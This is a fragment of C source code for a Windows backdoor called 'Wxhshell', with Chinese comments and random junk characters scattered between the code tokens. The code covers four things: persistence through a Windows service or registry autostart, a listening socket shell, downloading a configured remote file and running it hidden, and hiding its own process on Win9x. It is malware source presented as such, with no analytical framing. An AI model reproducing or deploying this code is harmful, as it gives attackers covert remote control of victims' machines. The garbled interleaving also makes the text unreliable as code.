+)T[ unsigned long cbNeeded; -50Nd=1 f|r+qe if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); QnZ7e#@UP l&2pUv= CloseHandle(hProcess); yGs:3KI |<aF)S4 if(strstr(procName,"services")) return 1; // 以服务启动 E*W|>2nx] J Yesk return 0; // 注册表启动 (Qp53g } (c\i .z PF+SHT'4}# // 主模块 [
U`}) int StartWxhshell(LPSTR lpCmdLine) TIIwq H+h. { A`I ;m0< SOCKET wsl; 4e!>A BOOL val=TRUE; M3EB=tU int port=0; hgU#2`fS struct sockaddr_in door; !xRboPg U#mrbW if(wscfg.ws_autoins) Install(); ^}{`bw {
]nQC port=atoi(lpCmdLine); -LnNA`- <uf,@N5m if(port<=0) port=wscfg.ws_port; `at>X&Ce, ,UA-Pq3} WSADATA data; @&F\ M} if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; T!ik"YZ@i a{y"vVQOF if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; gwQk
M4 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~]l
T>|X door.sin_family = AF_INET; C%ZSsp
u door.sin_addr.s_addr = inet_addr("127.0.0.1"); |EpL~G_ door.sin_port = htons(port); V.?Oly m`lxQik if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :dML+R#Ymh closesocket(wsl); LEgx"H=c return 1; na0-v- } pN-c9n4#j x#hGJT if(listen(wsl,2) == INVALID_SOCKET) { dFw>SYrpu closesocket(wsl); q)F@f / return 1; xU(yc}vw, } %AV[vr, Wxhshell(wsl); ;#+Se,) WSACleanup(); {[tx^b >VE!3' /' return 0; J12hjzk6@ K."h}f95 } .CAcG"42 %{j)w{
LJ // 以NT服务方式启动 '>aj5tZ>R VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) vq_v;$9} { cq,8^o& DWORD status = 0; <ZwmXD.VD DWORD specificError = 0xfffffff; Rct=vDU zjlo3=FQX[ serviceStatus.dwServiceType = SERVICE_WIN32; R;3T yn+ serviceStatus.dwCurrentState = SERVICE_START_PENDING; T!3_Q/~^r serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =L F9im serviceStatus.dwWin32ExitCode = 0; +}-Ecr serviceStatus.dwServiceSpecificExitCode = 0; ,2/y(JX}*! serviceStatus.dwCheckPoint = 0; %7n(>em serviceStatus.dwWaitHint = 0; slRD / ]R7zvcu& hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); t9Y?0O}/ if (hServiceStatusHandle==0) return; Ip&Q'"HYj lr-:o@q{ status = GetLastError(); /2jw]ekQ' if (status!=NO_ERROR) \66j4?H# { 0<4Swj3s7 serviceStatus.dwCurrentState = SERVICE_STOPPED; m!H7;S-( serviceStatus.dwCheckPoint = 0; l99{ eD serviceStatus.dwWaitHint = 0; p(`?y:.3 serviceStatus.dwWin32ExitCode = status; 2[e^mm&. serviceStatus.dwServiceSpecificExitCode = specificError; ge@ KopZ& SetServiceStatus(hServiceStatusHandle, &serviceStatus); kE*OjywN return; QmRE<i } XL2iK) A +u[?8D7Y serviceStatus.dwCurrentState = SERVICE_RUNNING; zSM;N^X 8? serviceStatus.dwCheckPoint = 0; (Tbw@BFk serviceStatus.dwWaitHint = 0; 5:6]ZFW if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =0gfGwD{ } - )brq3L o9 g0fC // 处理NT服务事件,比如:启动、停止 |-!
yKB VOID WINAPI NTServiceHandler(DWORD fdwControl) idLCq^jnJ { *5Aq\g,n switch(fdwControl) ~K-_]*[x { -)dS`hM case SERVICE_CONTROL_STOP: Ua](o H serviceStatus.dwWin32ExitCode = 0; B(l8&
serviceStatus.dwCurrentState = SERVICE_STOPPED; GT(nW|v serviceStatus.dwCheckPoint = 0; C?h`i ^ >2 serviceStatus.dwWaitHint = 0; UW@BAj@^@ { qTd6UKg SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7]&ouT } 1}>u Y return; M>kk"tyM case SERVICE_CONTROL_PAUSE: CDRkH)~$ serviceStatus.dwCurrentState = SERVICE_PAUSED; TexSUtx@$ break; !5escR!\D case SERVICE_CONTROL_CONTINUE: MDqUl:] serviceStatus.dwCurrentState = SERVICE_RUNNING; Qin;{8I0 break; Or9`E( case SERVICE_CONTROL_INTERROGATE: q(YFt*(;w break; LjOHlT' }; hJIF!eoI SetServiceStatus(hServiceStatusHandle, &serviceStatus); u{>_Pb } wO&2S-;_K L^Q q[> // 标准应用程序主函数 rh%-va9 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) PRi3=3oF { 2B<0|EGtzw '
+*,|;? // 获取操作系统版本 (bBr O74lR OsIsNt=GetOsVer(); H;(|&Asq> GetModuleFileName(NULL,ExeFile,MAX_PATH); klqN9d9k
~3F\7%Iqc // 从命令行安装 7\e96+j|f if(strpbrk(lpCmdLine,"iI")) Install(); !?%'Fy6t C6P(86? // 下载执行文件 |4tnG&= if(wscfg.ws_downexe) { LG6k
KG if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) g3"eEg5 NY WinExec(wscfg.ws_filenam,SW_HIDE); YR$)yl } zEu15!~ &GetRDr if(!OsIsNt) { KE
k]<b= // 如果时win9x,隐藏进程并且设置为注册表启动
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x`|! HideProc(); lAcXi$pF StartWxhshell(lpCmdLine); R:}u(N } f} _d`?K else +&:?*(?Q if(StartFromService()) v!b
8_0~u6 // 以服务方式启动 :(o6^%x StartServiceCtrlDispatcher(DispatchTable); i9FtS7 else 5PXo1"n8T // 普通方式启动 Q[U_
0O,A9 StartWxhshell(lpCmdLine); |loo^!I Nr(3!- return 0; _/iw=-T }
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